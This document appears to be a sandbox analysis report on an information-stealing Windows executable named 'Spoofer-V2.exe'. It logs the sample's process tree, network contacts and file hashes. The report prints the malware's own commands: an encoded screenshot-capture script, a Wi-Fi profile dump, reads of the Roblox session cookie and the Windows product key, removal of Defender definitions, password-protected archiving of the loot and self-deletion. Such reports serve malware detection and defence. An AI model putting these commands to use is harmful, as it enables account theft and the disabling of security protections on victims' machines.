ANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\attrib.exe

attrib -r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\attrib.exe

attrib +r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\k5rjk3al\k5rjk3al.cmdline"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB17.tmp" "c:\Users\Admin\AppData\Local\Temp\k5rjk3al\CSC86B45A9356AD49FCA81E13BA3C1CFCA6.TMP"

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI48162\rar.exe a -r -hp"777" "C:\Users\Admin\AppData\Local\Temp\edOHT.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI48162\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI48162\rar.exe a -r -hp"777" "C:\Users\Admin\AppData\Local\Temp\edOHT.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\Spoofer-V2.exe""

C:\Windows\system32\PING.EXE

ping localhost -n 3

Network

Country Destination Domain Proto
US 8.8.8.8:53 gstatic.com udp
GB 172.217.16.227:443 gstatic.com tcp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discordapp.com udp
US 162.159.135.233:443 discordapp.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 233.135.159.162.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI48162\python311.dll

MD5 0b66c50e563d74188a1e96d6617261e8
SHA1 cfd778b3794b4938e584078cbfac0747a8916d9e
SHA256 02c665f77db6b255fc62f978aedbe2092b7ef1926836290da68fd838dbf2a9f2
SHA512 37d710cb5c0ceb5957d11b61684cfbc65951c1d40ab560f3f3cb8feca42f9d43bd981a0ff44c3cb7562779264f18116723457e79e0e23852d7638b1a954a258f

C:\Users\Admin\AppData\Local\Temp\_MEI48162\VCRUNTIME140.dll

MD5 4585a96cc4eef6aafd5e27ea09147dc6
SHA1 489cfff1b19abbec98fda26ac8958005e88dd0cb
SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
SHA512 d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286

memory/1392-29-0x00007FF93A9B0000-0x00007FF93AF99000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI48162\base_library.zip

MD5 d220b7e359810266fe6885a169448fa0
SHA1 556728b326318b992b0def059eca239eb14ba198
SHA256 ca40732f885379489d75a2dec8eb68a7cce024f7302dd86d63f075e2745a1e7d
SHA512 8f802c2e717b0cb47c3eeea990ffa0214f17d00c79ce65a0c0824a4f095bde9a3d9d85efb38f8f2535e703476cb6f379195565761a0b1d738d045d7bb2c0b542

C:\Users\Admin\AppData\Local\Temp\_MEI48162\_ctypes.pyd

MD5 5006b7ea33fce9f7800fecc4eb837a41
SHA1 f6366ba281b2f46e9e84506029a6bdf7948e60eb
SHA256 8f7a5b0abc319ba9bfd11581f002e533fcbe4ca96cedd37656b579cd3942ef81
SHA512 e3e5e8f471a8ca0d5f0091e00056bd53c27105a946ca936da3f5897b9d802167149710404386c2ed3399b237b8da24b1a24e2561c436ed2e031a8f0564fbbc7c

memory/1392-34-0x00007FF94D820000-0x00007FF94D843000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI48162\libffi-8.dll

MD5 08b000c3d990bc018fcb91a1e175e06e
SHA1 bd0ce09bb3414d11c91316113c2becfff0862d0d
SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
SHA512 8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

memory/1392-52-0x00007FF94DE90000-0x00007FF94DE9F000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI48162\_ssl.pyd

MD5 e52dbaeba8cd6cadf00fea19df63f0c1
SHA1 c03f112ee2035d0eaab184ae5f9db89aca04273a
SHA256 eaf60a9e979c95669d8f209f751725df385944f347142e0ecdcf2f794d005ead
SHA512 10eef8fd49e2997542e809c4436ad35dcc6b8a4b9b4313ad54481daef5f01296c9c5f6dedad93fb620f267aef46b0208deffbad1903593fd26fd717a030e89e8

C:\Users\Admin\AppData\Local\Temp\_MEI48162\_sqlite3.pyd

MD5 63618d0bc7b07aecc487a76eb3a94af8
SHA1 53d528ef2ecbe8817d10c7df53ae798d0981943a
SHA256 e74c9ca9007b6b43ff46783ecb393e6ec9ebbdf03f7c12a90c996d9331700a8b
SHA512 8280f0f6afc69a82bc34e16637003afb61fee5d8f2cab80be7d66525623ec33f1449b0cc8c96df363c661bd9dbc7918a787ecafaaa5d2b85e6cafdcf0432d394

C:\Users\Admin\AppData\Local\Temp\_MEI48162\_socket.pyd

MD5 c12bded48873b3098c7a36eb06b34870
SHA1 c32a57bc2fc8031417632500aa9b1c01c3866ade
SHA256 6c4860cb071bb6d0b899f7ca2a1da796b06ea391bac99a01f192e856725e88aa
SHA512 335510d6f2f13fb2476a5a17445ca6820c86f7a8a8650f4fd855dd098d022a16c80a8131e04212fd724957d8785ad51ccaff532f2532224ccfd6ce44f4e740f9

C:\Users\Admin\AppData\Local\Temp\_MEI48162\_queue.pyd

MD5 0da22ccb73cd146fcdf3c61ef279b921
SHA1 333547f05e351a1378dafa46f4b7c10cbebe3554
SHA256 e8ae2c5d37a68bd34054678ae092e2878f73a0f41e6787210f1e9b9bb97f37a0
SHA512 9eece79511163eb7c36a937f3f2f83703195fc752b63400552ca03d0d78078875ff41116ebaeb05c48e58e82b01254a328572096a17aaad818d32f3d2d07f436

C:\Users\Admin\AppData\Local\Temp\_MEI48162\_lzma.pyd

MD5 f8b61629e42adfe417cb39cdbdf832bb
SHA1 e7f59134b2bf387a5fd5faa6d36393cbcbd24f61
SHA256 7a3973fedd5d4f60887cf0665bcb7bd3c648ad40d3ae7a8e249d875395e5e320
SHA512 58d2882a05289b9d17949884bf50c8f4480a6e6d2b8bd48dfdbcb03d5009af64abf7e9967357aeebf95575d7ef434a40e8ad07a2c1fe275d1a87aa59dcc702d6

C:\Users\Admin\AppData\Local\Temp\_MEI48162\_hashlib.pyd

MD5 a81e0df35ded42e8909597f64865e2b3
SHA1 6b1d3a3cd48e94f752dd354791848707676ca84d
SHA256 5582f82f7656d4d92ed22f8e460bebd722e04c8f993c3a6adcc8437264981185
SHA512 2cda7348faffabc826fb7c4eddc120675730077540f042d6dc8f5e6921cf2b9cb88afcd114f53290aa20df832e3b7a767432ea292f6e5b5b5b7d0e05cf8905a6

C:\Users\Admin\AppData\Local\Temp\_MEI48162\_decimal.pyd

MD5 d0231f126902db68d7f6ca1652b222c0
SHA1 70e79674d0084c106e246474c4fb112e9c5578eb
SHA256 69876f825678b717c51b7e7e480de19499d972cb1e98bbfd307e53ee5bace351
SHA512 b6b6bfd5fde200a9f45aeb7f6f845eac916feeef2e3fca54e4652e1f19d66ae9817f1625ce0ed79d62e504377011ce23fd95a407fbdbaa6911a09e48b5ef4179

C:\Users\Admin\AppData\Local\Temp\_MEI48162\_bz2.pyd

MD5 20a7ecfe1e59721e53aebeb441a05932
SHA1 a91c81b0394d32470e9beff43b4faa4aacd42573
SHA256 7ebbe24da78b652a1b6fe77b955507b1daff6af7ff7e5c3fa5ac71190bde3da8
SHA512 99e5d877d34ebaaaeb281c86af3fff9d54333bd0617f1366e3b4822d33e23586ef9b11f4f7dd7e1e4a314c7a881f33123735294fe8af3a136cd10f80a9b8d902

C:\Users\Admin\AppData\Local\Temp\_MEI48162\unicodedata.pyd

MD5 af87b4aa3862a59d74ff91be300ee9e3
SHA1 e5bfd29f92c28afa79a02dc97a26ed47e4f199b4
SHA256 fac71c7622957fe0773214c7432364d7fc39c5e12250ff9eaaeea4d897564dc7
SHA512 1fb0b8100dffd18c433c4aa97a4f2da76ff6e62e2ef2139edc4f98603ba0bb1c27b310b187b5070cf4e892ffc2d09661a6914defa4509c99b60bcbb50f70f4a0

C:\Users\Admin\AppData\Local\Temp\_MEI48162\sqlite3.dll

MD5 c78fab9114164ac981902c44d3cd9b37
SHA1 cb34dff3cf82160731c7da5527c9f3e7e7f113b7
SHA256 4569acfa25dda192becda0d79f4254ce548a718b566792d73c43931306cc5242
SHA512 bf82ccc02248be669fe4e28d8342b726cf52c4ec2bfe2ec1f71661528e2d8df03781ae5ccf005a6022d59a90e36cea7d3c7a495bd11bf149319c891c00ac669b

C:\Users\Admin\AppData\Local\Temp\_MEI48162\select.pyd

MD5 1e9e36e61651c3ad3e91aba117edc8d1
SHA1 61ab19f15e692704139db2d7fb3ac00c461f9f8b
SHA256 5a91ba7ea3cf48033a85247fc3b1083f497bc060778dcf537ca382a337190093
SHA512 b367e00e1a8a3e7af42d997b59e180dfca7e31622558398c398f594d619b91cedc4879bfdda303d37f31dfcc3447faa88f65fd13bac109889cee8c1e3c1d62d0

C:\Users\Admin\AppData\Local\Temp\_MEI48162\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

C:\Users\Admin\AppData\Local\Temp\_MEI48162\rar.exe

MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

C:\Users\Admin\AppData\Local\Temp\_MEI48162\libssl-3.dll

MD5 6eda5a055b164e5e798429dcd94f5b88
SHA1 2c5494379d1efe6b0a101801e09f10a7cb82dbe9
SHA256 377da6175c8a3815d164561350ae1df22e024bc84c55ae5d2583b51dfd0a19a8
SHA512 74283b4051751f9e4fd0f4b92ca4b953226c155fe4730d737d7ce41a563d6f212da770e96506d1713d8327d6fef94bae4528336ebcfb07e779de0e0f0cb31f2e

C:\Users\Admin\AppData\Local\Temp\_MEI48162\libcrypto-3.dll

MD5 27515b5bb912701abb4dfad186b1da1f
SHA1 3fcc7e9c909b8d46a2566fb3b1405a1c1e54d411
SHA256 fe80bd2568f8628032921fe7107bd611257ff64c679c6386ef24ba25271b348a
SHA512 087dfdede2a2e6edb3131f4fde2c4df25161bee9578247ce5ec2bce03e17834898eb8d18d1c694e4a8c5554ad41392d957e750239d3684a51a19993d3f32613c

C:\Users\Admin\AppData\Local\Temp\_MEI48162\blank.aes

MD5 6678225c056dd5f5fd8389789009d052
SHA1 36ecca9c9571ea872931d0bb6bcb35e38f3a3596
SHA256 a9e2e7a106090bc39568c117fbe5832594629efd224348a8be434d8732aba2c7
SHA512 23f1e69ca6f8f6f9420957c21334ebbcd792b6dcec8f7fbe71ce1c9080937851cfcab1f3241ab4e46a998e7153c91dabee76cfa22fc2758aba129b0497d95944

memory/1392-58-0x00007FF94D7F0000-0x00007FF94D81D000-memory.dmp

memory/1392-60-0x00007FF94D760000-0x00007FF94D779000-memory.dmp

memory/1392-62-0x00007FF94D370000-0x00007FF94D393000-memory.dmp

memory/1392-64-0x00007FF9498D0000-0x00007FF949A47000-memory.dmp

memory/1392-66-0x00007FF94D350000-0x00007FF94D369000-memory.dmp

memory/1392-69-0x00007FF94DCD0000-0x00007FF94DCDD000-memory.dmp

memory/1392-70-0x00007FF94AF50000-0x00007FF94AF83000-memory.dmp

memory/1392-73-0x00007FF94ABB0000-0x00007FF94AC7D000-memory.dmp

memory/1392-72-0x00007FF93A9B0000-0x00007FF93AF99000-memory.dmp

memory/1392-76-0x00007FF94D820000-0x00007FF94D843000-memory.dmp

memory/1392-77-0x00007FF93A480000-0x00007FF93A9A2000-memory.dmp

memory/1392-78-0x000001EBAB210000-0x000001EBAB732000-memory.dmp

memory/1392-80-0x00007FF94D330000-0x00007FF94D344000-memory.dmp

memory/1392-82-0x00007FF94AF40000-0x00007FF94AF4D000-memory.dmp

memory/1392-86-0x00007FF949E90000-0x00007FF949FAC000-memory.dmp

memory/2196-95-0x0000021BCFD80000-0x0000021BCFDA2000-memory.dmp

memory/1644-106-0x0000022BB1800000-0x0000022BB1876000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_35zpmepz.tqh.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

C:\Windows\System32\drivers\etc\hosts

MD5 d5371674f26f144bf68f800bb3b80d5a
SHA1 a5ae4e82a6ba9118e28b767d3522c6a3fb0ee582
SHA256 f2ca2cbdec30ce8730436e1bed3c166e005e4742c6a8c931e50e873cdc8ebb03
SHA512 21e068860c0671e54bfd4862735a51d0dc790a737b3f9835f64dafcdb2c0d50bf49b8027d6c43c79ebabf2ac7dcd6be084c613e711fab92a54bb3cfefcb7fb3f

\??\c:\Users\Admin\AppData\Local\Temp\k5rjk3al\k5rjk3al.cmdline

MD5 7979c75e53922b3bc012fa879e9f6979
SHA1 45ea0f3cf5baec7d55ab48f3b2dea355266f2bc8
SHA256 77a6ebe34aa3c020d7c364de9ad4743a5cdfe1ca0e08f13edc5133de67d047a3
SHA512 b91915ee4098ce8f9ad191084e8c0bcf406c8c139967fbac835e86e021e8511357064502c201b4004b0a61b9e7c5596926ebb395789fbd0c75f9a2fac508fcc2

\??\c:\Users\Admin\AppData\Local\Temp\k5rjk3al\k5rjk3al.0.cs

MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

\??\c:\Users\Admin\AppData\Local\Temp\k5rjk3al\CSC86B45A9356AD49FCA81E13BA3C1CFCA6.TMP

MD5 1655e7a732ea86d1192d34ba0e4ac5f7
SHA1 846e6495aba5db39e732243bd25e7e24c874355c
SHA256 ea1094b60a60f356dfaf8d48f1b33157e1b31581dab164611df53a90af21c9c0
SHA512 31668718e940603971d3a42b02aea4081c366f245051b80c9eae327c789385aeb019de051ee7b306c33e7f3895bc8ff5d8820c4e85774391a7f9eac18e5e6f54

C:\Users\Admin\AppData\Local\Temp\RESB17.tmp

MD5 8cef46e1bf95aec921257ad916bf1744
SHA1 e0b0555b60f62f0eadfcf3fa75fb51d78c82c143
SHA256 e08e20d4553fa48cdb4da89b96b473a6c22e8d38740a9435955e2d458a3386d9
SHA512 419c176da1483fbb636a3670b1e466f3c0264a4d55b18989b16c01c2dd66b3fa4b2f5295b08037b677b117e058a505f5ff51028d741653caab4ee46ba277d74b

